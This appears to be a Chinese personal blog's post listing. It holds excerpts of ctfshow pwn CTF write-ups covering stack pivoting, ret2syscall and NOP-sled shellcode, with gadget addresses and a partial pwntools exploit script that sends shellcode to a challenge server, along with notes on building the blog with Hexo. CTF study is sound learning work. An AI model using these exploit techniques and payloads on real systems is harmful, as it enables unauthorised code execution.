ctfshow pwn-75
题目:栈空间不够怎么办?栈迁移,没见过cs:32 位开启 NX 保护,部分开启 RELRO运行一下: 这是重点!后续编写 exp 要注意的细节。 IDA 分析,查看 main 中的 ctfshow 函数:其实在连靶机进行交互时,无论你输入什么,都是招原样给你打印出来的,主要还是看 read、memset 函数,况且没开 canary 保护有站处理漏洞可以利用。 还看到了 system 函数。 跟进 hackerout 函数:看到有 system 函数,不过里边不是 binsh,问题不大可以构造出来。 看回 ctfshow 函数的栈溢出漏洞,可以发现 s 容量是 36,但 s 到 ebp 距离有 0x28=40,加上覆盖 ebp 本身的 4 字节,仅 8 字节(44-36=8)溢出空间,无法直接布置 system(“/bin/sh”); 所需的 ROP 链(需覆盖返回地址 + 传递参数,至少 12 字节以上),那么这里就应该要想到栈迁移了。 栈迁移的本质是通过 leave 指令改变栈顶指针(esp)的位置,将原本狭小的栈空间转移到我们可控的大...
ctfshow-pwn72
题目:接着练ret2syscall,多系统函数调用 checksec 一下: 32 位关闭栈保护与 PIE。 IDA 分析,依旧静态编译:看到 gets 函数,和上题差不多,都是利用栈溢出漏洞。 /bin/sh 在 IDA 上搜索不到,不能返回地址执行 getshell 了,那就找另外一种方法。确实难找,read 衍生函数很多,找到个单纯 “read” 的函数是真难……有 read 函数那我们可以用它去读取字符串到内存呐,利用 read 函数来进行手动写入 “/bin/sh” 字符串。 在 main 函数中没看到调用 read 函数,只能我们写 exp 时利用 syscall 去调用 read 函数,搭配 gadgets 去让 read 通过寄存器去读取 /bin/sh 字符串。可以看到 read 函数需要三个参数,加上自身系统调用号,我们就需要使用 eax、ebx、ecx、edx 的 gadgets。 gadget 查询:pop_edx_ecx_ebx_ret:0x0806ecb0 pop_eax_ret:0x080b...
ctfshow-pwn71
题目:32位的ret2syscall什么是ret2syscallret2syscall(return-to-syscall)就是:利用栈溢出控制寄存器,让程序直接执行 Linux 的系统调用,从而获得 shell 或执行任意系统级操作。一句话总结:不跳函数,不用 libc,不用 gadget,直接让程序执行 execve(“/bin/sh”,0,0) 这种系统调用。 checksec:仅开启NX保护 ida分析:有明显栈溢出漏洞、gets函数;题目描述以及各处都提示了让用 ret2syscall 来进行攻击,我们可以利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。 大致思路是先栈溢出填充缓冲区,利用 gadgets 调用 syscall,也就是传递它的调用号 0xb,用 rax 寄存器传递,然后调用 execve 函数: 1execve("/bin/sh",NULL,NULL) execve函数:execve 是 Linux 里最核心、最底层的“执行程序”系统调用。它不是普通函数,而是 系统调...
ctfshow pwn-68
题目:64bit nop sled这是 64 位程序,保护机制和上一题一样唯一不同的就是这:把上一题的 0x2d 换成 0x35 就好(0x15+8+8+16 (栈对齐)=0x35)exp: 1234567891011121314from pwn import *context(arch='amd64',os='linux',log_level = 'debug')#io = process('./pwn')io = remote('pwn.challenge.ctf.show',28134)shellcode = asm(shellcraft.sh())payload = '\x90'*1336 + shellcodeio.recvuntil("The current location: ")addr = int(io.recvline(),16)io.recvuntil("> ")io.sendline...
ctfshow pwn-67
题目:32bit nop sled checksec 只有栈溢出保护 IDA分析 运行一下这个 v5 地址被打印输出,但一直是动态变化的。 代码的大概意思是先输出一些信息,然后输出的会有栈中的地址,从 query_position 函数可以发现函数返回值是 v1 的地址加上 v2 的值,而 v1 是局部变量,那么它的地址就是栈里的地址,加上 v2 就代表接收函数返回值的变量 position=v1 的地址 + v2 的值 (即 & v1+v2)。然后程序会让我们输入大小为 4096 的字符串给 seed 变量,之后再让我们输入一个地址,将其赋给 v5,然后使用 v5 从我们输入的这个地址执行这个地址的代码。 因此我们可以从堆栈中执行。向程序提供 shellcode 很容易,因为它只要求输入。现在我们只需要找到一种方法来跳转到我们的 shellcode 的地址从而执行这个 shellcode。 刚好有个 fgets 可以读取 shellcode 到 seed,但是我们并不知道 seed 的地址。 跟进 query_position 函数:char *query_p...
zjybb的专属菜单
.menu-board{--ink:#3b2922;--muted:#876f63;--accent:#c66b45;max-width:980px;margin:auto;color:var(--ink)} .menu-hero{position:relative;overflow:hidden;margin-bottom:30px;padding:42px 28px 36px;border:1px solid #f1dfd0;border-radius:24px;background:linear-gradient(135deg,#fffaf4,#fff1e6);text-align:center} .menu-hero:after{position:absolute;right:-48px;bottom:-70px;width:180px;height:180px;border:24px solid #c66b451a;border-radius:50%;content:''} .menu-kicker{position:relative;z-index:1;margin...
blog搭建过程
基于hexo搭建的blog网站butterfly风格搭建具体教程完全照抄b站up卷二兔的视频以下是视频链接https://www.bilibili.com/video/BV1aV411p7Bc?spm_id_from=333.788.videopod.sections&vd_source=4fa4dda9c5f045500969040d66011e60因为后续博主自己的blog关停了,所以后面他的自动化脚本无法复制我自己学到主题配置 还有一个问题是把代码推到github上博主的方法我用不了,自己查ai配置github ssh推上去了 各种设置可以参考butterfly官网https://butterfly.js.org/posts/4aa8abbe/ 之后就是购买服务器和域名了我是在阿里云买的这个本来应该是很简单的操作但是卡了我很久不知道宝塔面板在哪安装在本机上装了一个后面安装好后一直登不上面板原来要给8888端口放行不要连代理 发现自己的域名还没备案按照阿里云的流程正常备案(搞了我十几天) 登上去以后配置网站将自己的public文件传上去设置路径
zjy
zjybb你好呀
Hello World
Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub. Quick StartCreate a new post1$ hexo new "My New Post" More info: Writing Run server1$ hexo server More info: Server Generate static files1$ hexo generate More info: Generating Deploy to remote sites1$ hexo deploy More info: Deployment




